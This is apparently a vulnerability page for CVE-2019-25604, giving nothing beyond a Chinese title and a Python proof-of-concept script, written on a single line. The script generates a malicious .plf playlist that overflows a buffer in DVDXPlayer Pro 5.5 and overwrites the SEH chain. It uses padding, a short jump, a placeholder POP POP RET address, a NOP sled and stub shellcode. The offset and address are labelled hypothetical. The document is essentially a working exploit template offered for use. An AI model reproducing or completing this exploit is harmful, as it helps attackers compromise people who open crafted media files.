CVE-2019-25604 DVDXPlayer Pro 缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC Generator for CVE-2019-25604 # Exploit: Local Buffer Overflow with SEH Overwrite in DVDXPlayer Pro 5.5 import struct # Configuration filename = "exploit.plf" # The offset to the SEH handler needs to be determined via pattern_create/offset # This is a hypothetical offset for demonstration. offset = 4108 # 1. Padding to reach the SEH structure padding = b"A" * offset # 2. Overwrite Next SEH # We use a short jump (jmp short 0x06) followed by NOP to jump into the shellcode next_seh = b"\xeb\x06\x90\x90" # 3. Overwrite SE Handler # Address of POP POP RET instruction in a non-ASLR module (e.g., system DLL) # Replace with valid address from target environment seh_handler = struct.pack("<L", 0x10010010) # 4. NOP Sled nop_sled = b"\x90" * 32 # 5. Shellcode (Example: MessageBox or Calc.exe) shellcode = b"\xcc\xcc\xcc\xcc" # Int3 for debugging # Construct payload payload = padding + next_seh + seh_handler + nop_sled + shellcode try: with open(filename, "wb") as f: f.write(payload) print(f"[+] Malicious file '{filename}' created successfully.") print(f"[+] Load this file in DVDXPlayer Pro 5.5 to trigger the vulnerability.") except IOError as e: print(f"[-] Error creating file: {e}")